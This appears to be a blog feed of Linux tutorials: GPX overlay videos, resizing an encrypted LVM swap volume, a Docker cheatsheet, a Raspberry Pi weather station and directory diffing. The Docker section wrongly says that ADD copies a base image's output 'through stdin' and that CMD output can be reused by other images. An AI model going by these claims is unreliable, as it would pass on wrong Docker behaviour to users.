Romain Pellerin's Blog - Linux//romainpellerin.eu/2024-02-14T00:21:00+01:00Creating GPX overlay videos on Linux2023-07-26T17:30:00+02:002023-09-16T23:36:00+02:00Romain Pellerintag:romainpellerin.eu,2023-07-26:/creating-gpx-overlay-videos-on-linux.html<p>A tutorial about adding GPX data on top of videos (speed, heart rate, etc)</p><p>Just because I found <a href="https://blog.cubieserver.de/2022/creating-gpx-overlay-videos-on-linux/">this article</a> so good but a bit too long, I'm creating my own.</p>
<p>Up until now, I was relying on the infamous Virb Edit program from Garmin to create videos with GPX data on top. But this software is only available on Mac and Windows, and also outdated and unmaintained, it does not support HEVC videos. So I started looking for another solution that would work on Linux and be ideally dead simple, with no GUI. Also, I was very tired of having to export the GPX data on top of an existing video. Wouldn't it be great to be able to export a video with a transparent background, that I can then put on top of any other footage? GoPro videos, Insta360 videos, any! That would preserve the quality of the video (no need to re-encode it in Virb and then in the final montage software).</p>
<p>I found salvation in <a href="https://github.com/time4tea/gopro-dashboard-overlay">gopro-dashboard-overlay</a>! It does all of that! No GUI, can export just a transparent video with the GPX data only but also on top of an existing footage, supports as many formats and codecs as does FFMPEG, and of course works on Linux!</p>
<p>So here is my TL;DR tutorial on how to use it:</p>
<h1 id="1-install-the-project">1. Install the project</h1>
<div class="highlight"><pre><span></span><code>git clone git@github.com:time4tea/gopro-dashboard-overlay.git
<span class="nb">cd</span> gopro-dashboard-overlay
python3 -m venv .env
<span class="nb">source</span> .env/bin/activate
pip install gopro-overlay
sudo apt install fonts-roboto
</code></pre></div>
<h1 id="2-setup">2. Setup</h1>
<div class="highlight"><pre><span></span><code>mkdir ~/.gopro-graphics/
vim ~/.gopro-graphics/ffmpeg-profiles.json
</code></pre></div>
<p>Then:</p>
<div class="highlight"><pre><span></span><code><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nt">"vp9"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nt">"input"</span><span class="p">:</span><span class="w"> </span><span class="p">[],</span><span class="w"></span>
<span class="w"> </span><span class="nt">"output"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"-vcodec"</span><span class="p">,</span><span class="w"> </span><span class="s2">"vp9"</span><span class="p">,</span><span class="w"> </span><span class="s2">"-pix_fmt"</span><span class="p">,</span><span class="w"> </span><span class="s2">"yuva420p"</span><span class="p">,</span><span class="w"> </span><span class="s2">"-r"</span><span class="p">,</span><span class="w"> </span><span class="s2">"5"</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="p">},</span><span class="w"></span>
<span class="w"> </span><span class="nt">"mp4"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nt">"input"</span><span class="p">:</span><span class="w"> </span><span class="p">[],</span><span class="w"></span>
<span class="w"> </span><span class="nt">"output"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"-vcodec"</span><span class="p">,</span><span class="w"> </span><span class="s2">"libx264"</span><span class="p">,</span><span class="w"> </span><span class="s2">"-r"</span><span class="p">,</span><span class="w"> </span><span class="s2">"25"</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="p">},</span><span class="w"></span>
<span class="w"> </span><span class="nt">"png"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nt">"input"</span><span class="p">:</span><span class="w"> </span><span class="p">[],</span><span class="w"></span>
<span class="w"> </span><span class="nt">"output"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"-vcodec"</span><span class="p">,</span><span class="w"> </span><span class="s2">"png"</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Then:</p>
<div class="highlight"><pre><span></span><code>vim ~/Documents/my-layout.xml
</code></pre></div>
<p>Then:</p>
<div class="highlight"><pre><span></span><code><span class="nt"><layout></span>
<span class="nt"><composite</span> <span class="na">x=</span><span class="s">"20"</span> <span class="na">y=</span><span class="s">"20"</span> <span class="na">name=</span><span class="s">"date_and_time"</span><span class="nt">></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"datetime"</span> <span class="na">x=</span><span class="s">"0"</span> <span class="na">y=</span><span class="s">"0"</span> <span class="na">format=</span><span class="s">"%H:%M:%S"</span> <span class="na">size=</span><span class="s">"32"</span> <span class="na">align=</span><span class="s">"left"</span><span class="nt">/></span>
<span class="cm"><!-- <component type="text" x="0" y="36" size="32">Distance (km): </component></span>
<span class="cm"> <component type="metric" x="215" y="36" metric="odo" units="km" size="32" dp="2" /> --></span>
<span class="nt"></composite></span>
<span class="nt"><composite</span> <span class="na">x=</span><span class="s">"20"</span> <span class="na">y=</span><span class="s">"976"</span> <span class="na">name=</span><span class="s">"big_kph"</span><span class="nt">></span>
<span class="cm"><!-- 1080 - 20 (margin) - 64 (altitude) - 20 (margin) = y 976 --></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"metric"</span> <span class="na">x=</span><span class="s">"0"</span> <span class="na">y=</span><span class="s">"-160"</span> <span class="na">metric=</span><span class="s">"speed"</span> <span class="na">units=</span><span class="s">"speed"</span> <span class="na">dp=</span><span class="s">"0"</span> <span class="na">size=</span><span class="s">"160"</span> <span class="nt">/></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"metric_unit"</span> <span class="na">x=</span><span class="s">"0"</span> <span class="na">y=</span><span class="s">"-176"</span> <span class="na">metric=</span><span class="s">"speed"</span> <span class="na">units=</span><span class="s">"speed"</span> <span class="na">size=</span><span class="s">"16"</span><span class="nt">></span>km/h<span class="nt"></component></span>
<span class="nt"></composite></span>
<span class="nt"><composite</span> <span class="na">x=</span><span class="s">"20"</span> <span class="na">y=</span><span class="s">"1060"</span> <span class="na">name=</span><span class="s">"altitude"</span><span class="nt">></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"icon"</span> <span class="na">x=</span><span class="s">"0"</span> <span class="na">y=</span><span class="s">"-64"</span> <span class="na">file=</span><span class="s">"mountain.png"</span> <span class="na">size=</span><span class="s">"64"</span><span class="nt">/></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"metric_unit"</span> <span class="na">x=</span><span class="s">"70"</span> <span class="na">y=</span><span class="s">"-64"</span> <span class="na">metric=</span><span class="s">"alt"</span> <span class="na">units=</span><span class="s">"alt"</span> <span class="na">size=</span><span class="s">"16"</span><span class="nt">></span>Altitude ({:~C})<span class="nt"></component></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"metric"</span> <span class="na">x=</span><span class="s">"70"</span> <span class="na">y=</span><span class="s">"-46"</span> <span class="na">metric=</span><span class="s">"alt"</span> <span class="na">units=</span><span class="s">"alt"</span> <span class="na">dp=</span><span class="s">"1"</span> <span class="na">size=</span><span class="s">"46"</span> <span class="nt">/></span>
<span class="nt"></composite></span>
<span class="nt"><composite</span> <span class="na">x=</span><span class="s">"270"</span> <span class="na">y=</span><span class="s">"1060"</span> <span class="na">name=</span><span class="s">"gradient"</span><span class="nt">></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"icon"</span> <span class="na">x=</span><span class="s">"0"</span> <span class="na">y=</span><span class="s">"-64"</span> <span class="na">file=</span><span class="s">"slope-triangle.png"</span> <span class="na">size=</span><span class="s">"64"</span><span class="nt">/></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"text"</span> <span class="na">x=</span><span class="s">"70"</span> <span class="na">y=</span><span class="s">"-64"</span> <span class="na">size=</span><span class="s">"16"</span><span class="nt">></span>Slope (%)<span class="nt"></component></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"metric"</span> <span class="na">x=</span><span class="s">"70"</span> <span class="na">y=</span><span class="s">"-46"</span> <span class="na">metric=</span><span class="s">"gradient"</span> <span class="na">dp=</span><span class="s">"1"</span> <span class="na">size=</span><span class="s">"46"</span> <span class="nt">/></span>
<span class="nt"></composite></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"chart"</span> <span class="na">name=</span><span class="s">"gradient_chart"</span> <span class="na">x=</span><span class="s">"450"</span> <span class="na">y=</span><span class="s">"996"</span><span class="nt">/></span>
<span class="nt"><composite</span> <span class="na">x=</span><span class="s">"1900"</span> <span class="na">y=</span><span class="s">"980"</span> <span class="na">name=</span><span class="s">"temperature"</span><span class="nt">></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"icon"</span> <span class="na">x=</span><span class="s">"-64"</span> <span class="na">y=</span><span class="s">"-64"</span> <span class="na">file=</span><span class="s">"thermometer.png"</span> <span class="na">size=</span><span class="s">"64"</span><span class="nt">/></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"metric"</span> <span class="na">x=</span><span class="s">"-70"</span> <span class="na">y=</span><span class="s">"-64"</span> <span class="na">dp=</span><span class="s">"0"</span> <span class="na">size=</span><span class="s">"64"</span> <span class="na">align=</span><span class="s">"right"</span> <span class="na">metric=</span><span class="s">"temp"</span> <span class="na">units=</span><span class="s">"temp"</span><span class="nt">/></span>
<span class="nt"></composite></span>
<span class="nt"><composite</span> <span class="na">x=</span><span class="s">"1900"</span> <span class="na">y=</span><span class="s">"1060"</span> <span class="na">name=</span><span class="s">"heartbeat"</span><span class="nt">></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"icon"</span> <span class="na">x=</span><span class="s">"-64"</span> <span class="na">y=</span><span class="s">"-64"</span> <span class="na">file=</span><span class="s">"heartbeat.png"</span> <span class="na">size=</span><span class="s">"64"</span><span class="nt">/></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"metric"</span> <span class="na">x=</span><span class="s">"-70"</span> <span class="na">y=</span><span class="s">"-64"</span> <span class="na">metric=</span><span class="s">"hr"</span> <span class="na">dp=</span><span class="s">"0"</span> <span class="na">size=</span><span class="s">"64"</span> <span class="na">align=</span><span class="s">"right"</span><span class="nt">/></span>
<span class="nt"></composite></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"moving_map"</span> <span class="na">name=</span><span class="s">"moving_map"</span> <span class="na">x=</span><span class="s">"1644"</span> <span class="na">y=</span><span class="s">"20"</span> <span class="na">size=</span><span class="s">"256"</span> <span class="na">zoom=</span><span class="s">"16"</span> <span class="na">corner_radius=</span><span class="s">"35"</span><span class="nt">/></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"journey_map"</span> <span class="na">name=</span><span class="s">"journey_map"</span> <span class="na">x=</span><span class="s">"1644"</span> <span class="na">y=</span><span class="s">"296"</span> <span class="na">size=</span><span class="s">"256"</span> <span class="na">corner_radius=</span><span class="s">"35"</span><span class="nt">/></span>
<span class="nt"></layout></span>
</code></pre></div>
<p>Then:</p>
<div class="highlight"><pre><span></span><code>vim ~/Documents/my-layout-portrait.xml
</code></pre></div>
<p>Then:</p>
<div class="highlight"><pre><span></span><code><span class="nt"><layout></span>
<span class="nt"><composite</span> <span class="na">x=</span><span class="s">"1060"</span> <span class="na">y=</span><span class="s">"1816"</span> <span class="na">name=</span><span class="s">"big_kph"</span><span class="nt">></span>
<span class="cm"><!-- 1920 - 20 (margin) - 64 (altitude) - 20 (margin) = y 1816 --></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"metric"</span> <span class="na">x=</span><span class="s">"0"</span> <span class="na">y=</span><span class="s">"-160"</span> <span class="na">metric=</span><span class="s">"speed"</span> <span class="na">units=</span><span class="s">"speed"</span> <span class="na">dp=</span><span class="s">"0"</span> <span class="na">size=</span><span class="s">"160"</span> <span class="na">align=</span><span class="s">"right"</span> <span class="nt">/></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"metric_unit"</span> <span class="na">x=</span><span class="s">"0"</span> <span class="na">y=</span><span class="s">"-192"</span> <span class="na">metric=</span><span class="s">"speed"</span> <span class="na">units=</span><span class="s">"speed"</span> <span class="na">size=</span><span class="s">"32"</span> <span class="na">align=</span><span class="s">"right"</span><span class="nt">></span>km/h<span class="nt"></component></span>
<span class="nt"></composite></span>
<span class="nt"><composite</span> <span class="na">x=</span><span class="s">"1060"</span> <span class="na">y=</span><span class="s">"1900"</span> <span class="na">name=</span><span class="s">"heartbeat"</span><span class="nt">></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"icon"</span> <span class="na">x=</span><span class="s">"-64"</span> <span class="na">y=</span><span class="s">"-64"</span> <span class="na">file=</span><span class="s">"heartbeat.png"</span> <span class="na">size=</span><span class="s">"64"</span><span class="nt">/></span>
<span class="nt"><component</span> <span class="na">type=</span><span class="s">"metric"</span> <span class="na">x=</span><span class="s">"-70"</span> <span class="na">y=</span><span class="s">"-64"</span> <span class="na">metric=</span><span class="s">"hr"</span> <span class="na">dp=</span><span class="s">"0"</span> <span class="na">size=</span><span class="s">"64"</span> <span class="na">align=</span><span class="s">"right"</span><span class="nt">/></span>
<span class="nt"></composite></span>
<span class="nt"></layout></span>
</code></pre></div>
<h1 id="3-generate-a-video">3. Generate a video</h1>
<h2 id="a-transparent-video-with-the-data-only">A transparent video with the data only</h2>
<div class="highlight"><pre><span></span><code>.env/bin/gopro-dashboard.py --use-gpx-only --gpx ~/Downloads/some-ride.gpx --profile vp9 --layout-xml ~/Documents/my-layout.xml --overlay-size 1920x1080 --units-speed kph --units-altitude meter --units-distance km --units-temperature degC --gps-speed-max <span class="m">120</span> --gps-speed-max-units kph ~/Downloads/output.webm
</code></pre></div>
<p>It's going to take some hours. Encoding with VP9 in a .webm container is actually slower than with PNG in .mov container, but the file size is like 100 times smaller. Another way to speed up the processing is to further reduce the final file framerate (30 by default, here in the XML we set it to 5).</p>
<p>That's the kind of result you can expect:</p>
<video controls>
<source src="./videos/gpx-overlay.webm" type="video/webm">
</video>
<figure class="center">
<img src="//romainpellerin.eu/images/gpx-overlay.png" alt="A screenshot of the video" />
<figcaption>A screenshot of the video, in case you can't play it</figcaption>
</figure>
<p>And the final result, merged with GoPro footage:</p>
<video controls>
<source src="./videos/gpx-overlay-merged.webm" type="video/webm">
</video>
<p>All that's left now, is merge this video with an actual footage, sync it, and voilà! I recommend using <a href="//romainpellerin.eu/video-editing-on-linux.html">Kdenlive on Linux</a>..</p>
<h2 id="the-final-video-right-away-footage-overlay">The final video right away (footage + overlay)</h2>
<p>Make sure the input video has the correct mtime (modified time). Check with <code>stat file.mp4</code> or <code>ls -la file.mp4</code>. If it's a Insta360 video, and the filename matches <code>YYYYMMDD_HHMMSS_sss.mp4</code>, you can update it with this script: <a href="https://github.com/rpellerin/dotfiles/blob/master/scripts/updateModifyTimeInsta360File.py">https://github.com/rpellerin/dotfiles/blob/master/scripts/updateModifyTimeInsta360File.py</a></p>
<div class="highlight"><pre><span></span><code>.env/bin/gopro-dashboard.py --use-gpx-only --gpx ~/Downloads/some-ride.gpx --profile mp4 --layout-xml ~/Documents/my-layout-portrait.xml --overlay-size 1080x1920 --units-speed kph --units-altitude meter --units-distance km --units-temperature degC --gps-speed-max <span class="m">120</span> --gps-speed-max-units kph --video-time-start file-modified some-video.mp4 ~/Downloads/output.mp4
</code></pre></div>
<p>That's it!</p>How to resize an encrypted SWAP partition (LVM)2022-07-29T19:00:00+02:002023-11-13T00:06:00+01:00Romain Pellerintag:romainpellerin.eu,2022-07-29:/how-to-resize-an-encrypted-swap-partition-lvm.html<p>A few commands to resize a SWAP partition</p><p>Just because I am afraid <a href="https://askubuntu.com/a/1412311">this page</a> might some day get deleted, I am copy pasting here the answer, which was very useful to me, when I needed to increase the size of the SWAP partition of my freshly installed Xubuntu 22.04, after I selected the "encrypted LVM partition" option in the install wizard. I am adding some commands and missing bits of information too.</p>
<p>Before increasing the size, I needed to decrease the size of its neighboring root volume, as the sum of both LVM volumes was equal to the capacity of my disk. Here I add another 7G to my SWAP partition.</p>
<p>First, check what your LVM disk currently looks like, running <code>lsblk</code>:</p>
<div class="highlight"><pre><span></span><code>lsblk
<span class="c1"># └─sda6 8:6 0 464,6G 0 part</span>
<span class="c1"># └─sda6_crypt 253:0 0 464,5G 0 crypt</span>
<span class="c1"># ├─vgubuntu-root 253:1 0 463,6G 0 lvm /</span>
<span class="c1"># └─vgubuntu-swap_1 253:2 0 980M 0 lvm [SWAP]</span>
</code></pre></div>
<p>For me, <code>sda6</code> was <code>nvme0n1p3</code>.</p>
<p>Now, boot your Linux from a USB stick and open a terminal:</p>
<div class="highlight"><pre><span></span><code>sudo su
<span class="c1"># `sudo` => Execute a command as another user.</span>
<span class="c1"># `sudo su [user]` => Run a command with substitute user, default is root.</span>
<span class="c1"># Encrypted device should NOT be unlocked</span>
lsblk <span class="c1"># => list block devices</span>
<span class="c1"># └─sda6 => no `crypt`/`lvm``</span>
<span class="c1"># Unlock encrypted device</span>
cryptsetup open /dev/sda6 crypt <span class="c1"># Enter passphrase</span>
<span class="c1"># `cryptsetup` => Manage dm-crypt + LUKS encrypted volumes.</span>
<span class="c1"># `cryptsetup open <device> <name>` => Opens encrypted lv as <name></span>
<span class="c1"># Get logical volume identifiers</span>
lsblk
<span class="c1"># └─sda6 8:6 0 464,6G 0 part</span>
<span class="c1"># └─sda6_crypt 253:0 0 464,5G 0 crypt</span>
<span class="c1"># ├─vgubuntu-root 253:1 0 463,6G 0 lvm /</span>
<span class="c1"># └─vgubuntu-swap_1 253:2 0 980M 0 lvm [SWAP]</span>
<span class="c1"># Shrink logical root volume AND filesystem</span>
lvresize --verbose --resizefs -L -7G /dev/mapper/vgubuntu-root
<span class="c1"># `lvresize` <volume> => resize a logical volume</span>
<span class="c1"># --verbose => Give more info.</span>
<span class="c1"># --resizefs => Resize filesystem AND LV with fsadm(8).</span>
<span class="c1"># -L => Specifies the new size of the LV,</span>
<span class="c1"># +/- add/subtracts to/from current size, g|G is GiB.</span>
<span class="c1"># Check filesystem of logical root volume for errors</span>
e2fsck -f /dev/mapper/vgubuntu-root
<span class="c1"># `e2fsck`<fs-path> => Check a Linux ext2/ext3/ext4 file system</span>
<span class="c1"># -f => Force checking even if the file system seems clean.</span>
<span class="c1"># Increase swapsize</span>
lvresize --verbose -L +7G /dev/mapper/vgubuntu-swap_1
<span class="c1"># Format to make it usable</span>
mkswap /dev/mapper/vgubuntu-swap_1
</code></pre></div>
<p>Now, deactive the volume group: <code>vgchange -a n</code> or <code>vgchange -a n sda6_crypt</code>.</p>
<p>And finally: <code>cryptsetup close crypt; reboot</code></p>
<p>After rebooting, check the sizes using <code>lsblk</code>, <code>swapon -s</code> and <code>free -h</code>. That's it!</p>Docker2022-07-05T12:30:00+02:002022-07-15T11:53:00+02:00Romain Pellerintag:romainpellerin.eu,2022-07-05:/docker.html<p>My cheatsheet for Docker</p><p><strong>WIP ARTICLE</strong></p>
<p>Up until now, Docker has always been a mystery to me. Mostly because I never took time to dive into it. For the past year, I was lucky enough to have David Gageot as my manager at Doctolib. As far as I know, he was one of the early contributors to it, and remains to this day one of the main contributors. Docker has no secrets for him. Here is a video starring David himself, a year after Docker was released to the public:</p>
<iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/d3bUoz_G2VU?rel=0" frameborder="0" allowfullscreen></iframe>
<p>During his time at Doctolib, I learned quite a lot. And I kept feeding my interest for Docker even after he left. Therefore this article serves as my personal cheatseet for Docker. It is a collection of basic knownledge and advanced tricks.</p>
<ul>
<li>Docker images can run nested Docker images (not advisable for production)</li>
<li><code>FROM <image name></code>: sets the base image for our Docker image</li>
<li><code>WORKDIR /home/yolo</code> creates the <code>/home/yolo</code> directory</li>
<li><code>CMD</code> vs <code>RUN</code>: <code>RUN</code> is a build step, it creates a layer in the docker image and is therefore cached. <code>CMD</code> is the command to execute when runnning a docker image. If the command outputs something in stdin, it can be reused by other Docker images (see below).</li>
<li><code>ADD . /home/yolo</code> copy the output of the base image (through stdin) to <code>/home/app</code>. If the base image (<code>FROM xxx</code>) output assets as a result of its <code>CMD</code> command, the files will end up in <code>/home/yolo</code>.</li>
<li><a href="https://stackoverflow.com/questions/37513511/whats-the-difference-between-the-docker-commands-run-build-and-create">What's the difference between the docker commands: run, build, and create</a></li>
<li>
<p>Basic common commands:</p>
<ul>
<li><code>docker build -t toto .</code>: builds an image from the Dockerfile in the current folder and labels it "toto"</li>
<li><code>docker run --init --rm -ti toto bash</code>: starts a new container from the image labeled "toto" and opens a shell in it</li>
</ul>
</li>
</ul>
<h1 id="resources">Resources</h1>
<ul>
<li><a href="https://docs.docker.com/develop/develop-images/dockerfile_best-practices/">Best practices for writing Dockerfiles</a></li>
</ul>Building A Cheap Weather Station2020-12-13T23:50:00+01:002022-09-24T12:11:00+02:00Romain Pellerintag:romainpellerin.eu,2020-12-13:/building-a-cheap-weather-station.html<p>How to build a cheap weather station with a Raspberry Pi and the BME280 module</p><p>Hi there! Long time no talk, uh?</p>
<p>In this article, I explain how I managed to build a very cheap weather station to monitor the temperature and humidity of my apartment as well as the pressure through automated reporting to Google Spreadsheets. Why Google Spreadsheets? Because it allows me to create nice graphs that I can publish, or in other words, access through a public link.</p>
<p>Then I can build a simple HTML web page to display those graphs from Google Spreadsheet, like this:</p>
<figure class="center">
<img src="//romainpellerin.eu/images/weather-station.png" alt="My weather station webpage" />
<figcaption>My weather station webpage</figcaption>
</figure>
<p>For this tutorial you'll need:</p>
<ul>
<li>A Raspberry Pi</li>
<li>A BME280 module and 4 cables</li>
<li>A Google Form that you link to a spreadsheet. It's so much easier than using the Google Spreadsheet API. Your Raspberry PI will POST a form with the values and they'll automatically end up in the sheet.</li>
</ul>
<figure class="center">
<img src="//romainpellerin.eu/images/bme280.jpg" alt="The BME280 module plugged to the Raspberry Pi" />
<figcaption>The BME280 module plugged to the Raspberry Pi.</figcaption>
</figure>
<h1 id="step-by-step-tutorial">Step by step tutorial</h1>
<p><em>This tutorial was greatly inspired by <a href="https://github.com/rm-hull/bme280">that tutorial</a>.</em></p>
<ol>
<li>Raspberry Pi turned off, plug the module like shown in the photo above.</li>
<li>Enable I2C. Run <code>sudo raspi-config</code>, choose <code>Interfacing options</code>. Then reboot. Run <code>lsmod | grep i2c</code> to confirm <code>i2c</code> has been enabled.</li>
<li>Run <code>sudo apt install python3-venv python3-pip i2c-tools && i2cdetect -y 1</code> to make sure the BME280 module is detected.</li>
<li><code>mkdir /home/pi/temperature && cd /home/pi/temperature</code> (or any other directory of your liking).</li>
<li><code>python3 -m venv .env && source .env/bin/activate</code></li>
<li><code>pip install smbus2 requests RPi.bme280 redis</code></li>
<li>Create the Google Form, add 4 free text inputs: datetime, temperature, humidity and pressure. Then navigate to the form and inspect the DOM, you should be able to find hidden inputs whose names contain the word "entity" and a <form> whose URL ends with <code>/formResponse</code>. Copy the URL and the hidden input names, you'll need them in the next bullet point.</li>
<li>
<p><code>vim weatherstation.py</code></p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">smbus2</span>
<span class="kn">import</span> <span class="nn">bme280</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">datetime</span>
<span class="kn">import</span> <span class="nn">redis</span>
<span class="n">url</span><span class="o">=</span><span class="s2">"https://docs.google.com/forms/TOKEN/formResponse"</span>
<span class="n">port</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">address</span> <span class="o">=</span> <span class="mh">0x76</span>
<span class="n">bus</span> <span class="o">=</span> <span class="n">smbus2</span><span class="o">.</span><span class="n">SMBus</span><span class="p">(</span><span class="n">port</span><span class="p">)</span>
<span class="n">utc_offset_in_hours</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="o">-</span><span class="n">time</span><span class="o">.</span><span class="n">timezone</span><span class="o">/</span><span class="mi">3600</span><span class="p">)</span>
<span class="n">now</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">(</span><span class="n">datetime</span><span class="o">.</span><span class="n">timezone</span><span class="p">(</span><span class="n">datetime</span><span class="o">.</span><span class="n">timedelta</span><span class="p">(</span><span class="n">hours</span><span class="o">=</span><span class="n">utc_offset_in_hours</span><span class="p">)))</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s1">'</span><span class="si">%d</span><span class="s1">/%m/%Y %H:%M:%S'</span><span class="p">)</span>
<span class="n">calibration_params</span> <span class="o">=</span> <span class="n">bme280</span><span class="o">.</span><span class="n">load_calibration_params</span><span class="p">(</span><span class="n">bus</span><span class="p">,</span> <span class="n">address</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">send_request</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span>
<span class="n">url</span><span class="p">,</span>
<span class="n">params</span><span class="o">=</span><span class="p">{</span>
<span class="s2">"entry.12"</span><span class="p">:</span> <span class="n">data</span><span class="p">[</span><span class="s1">'timestamp'</span><span class="p">],</span>
<span class="s2">"entry.34"</span><span class="p">:</span> <span class="n">data</span><span class="p">[</span><span class="s1">'temperature'</span><span class="p">],</span>
<span class="s2">"entry.56"</span><span class="p">:</span> <span class="n">data</span><span class="p">[</span><span class="s1">'humidity'</span><span class="p">],</span>
<span class="s2">"entry.78"</span><span class="p">:</span> <span class="n">data</span><span class="p">[</span><span class="s1">'pressure'</span><span class="p">],</span>
<span class="p">},</span>
<span class="n">headers</span><span class="o">=</span><span class="p">{</span>
<span class="s2">"Content-Type"</span><span class="p">:</span> <span class="s2">"application/octet-stream"</span><span class="p">,</span>
<span class="p">},</span>
<span class="p">)</span>
<span class="k">return</span> <span class="n">response</span><span class="o">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span>
<span class="k">except</span> <span class="n">requests</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">RequestException</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="n">raw_data</span> <span class="o">=</span> <span class="n">bme280</span><span class="o">.</span><span class="n">sample</span><span class="p">(</span><span class="n">bus</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">calibration_params</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span> <span class="s1">'timestamp'</span><span class="p">:</span> <span class="n">now</span><span class="p">,</span> <span class="s1">'temperature'</span><span class="p">:</span> <span class="n">raw_data</span><span class="o">.</span><span class="n">temperature</span><span class="p">,</span> <span class="s1">'humidity'</span><span class="p">:</span> <span class="n">raw_data</span><span class="o">.</span><span class="n">humidity</span><span class="p">,</span> <span class="s1">'pressure'</span><span class="p">:</span> <span class="n">raw_data</span><span class="o">.</span><span class="n">pressure</span> <span class="p">}</span>
<span class="n">successfully_sent</span> <span class="o">=</span> <span class="kc">False</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">successfully_sent</span> <span class="o">=</span> <span class="n">send_request</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="k">except</span> <span class="ne">BaseException</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Error: </span><span class="si">%s</span><span class="s2">"</span> <span class="o">%</span> <span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">))</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">successfully_sent</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Failed to post to Google Form'</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">redis</span><span class="o">.</span><span class="n">Redis</span><span class="p">()</span>
<span class="n">r</span><span class="o">.</span><span class="n">rpush</span><span class="p">(</span><span class="s1">'weather_reports'</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
</code></pre></div>
</li>
<li>
<p>Finally, let's make it post values every 5 minutes through <code>crontab -e</code>: <code>*/5 * * * * /home/pi/temperature/.env/bin/python /home/pi/temperature/weatherstation.py</code></p>
</li>
</ol>
<p>That's it!!!</p>How To Find Differences Between Two Directories On Linux2018-12-10T23:20:00+01:002023-11-25T15:35:00+01:00Romain Pellerintag:romainpellerin.eu,2018-12-10:/how-to-find-differences-between-two-directories-on-linux.html<p>Different ways to diff two folders</p><h1 id="diff"><code>diff</code></h1>
<p>Compares filenames and lines. <strong>Very slow</strong>.</p>
<div class="highlight"><pre><span></span><code>/usr/bin/diff -qr /dirA /dirB
</code></pre></div>
<h1 id="comm-find"><code>comm</code> + <code>find</code></h1>
<p>Only compares filenames. <strong>Fast</strong>.</p>
<div class="highlight"><pre><span></span><code>comm -3 <<span class="o">(</span>find /dirA -type f -printf <span class="s2">"%f\n"</span><span class="p">|</span>sort<span class="o">)</span> <<span class="o">(</span>find /dirB -type f -printf <span class="s2">"%f\n"</span><span class="p">|</span>sort<span class="o">)</span>>>
</code></pre></div>
<p>Also works with <code>diff</code>.</p>
<h1 id="diff-find-md5sum"><code>diff</code> + <code>find</code> + <code>md5sum</code></h1>
<p>Compares filenames and content. <strong>Slow</strong>.</p>
<div class="highlight"><pre><span></span><code>/usr/bin/diff <<span class="o">(</span>find /dirA -type f -printf <span class="s2">"%p "</span> -exec md5sum <span class="s1">'{}'</span> <span class="se">\;</span> <span class="p">|</span> cut -d <span class="s1">'/'</span> -f1 <span class="p">|</span> sort<span class="o">)</span> <span class="se">\</span>
<<span class="o">(</span>find /dirB -type f -printf <span class="s2">"%p "</span> -exec md5sum <span class="s1">'{}'</span> <span class="se">\;</span> <span class="p">|</span> cut -d <span class="s1">'/'</span> -f1 <span class="p">|</span> sort<span class="o">)</span>
</code></pre></div>
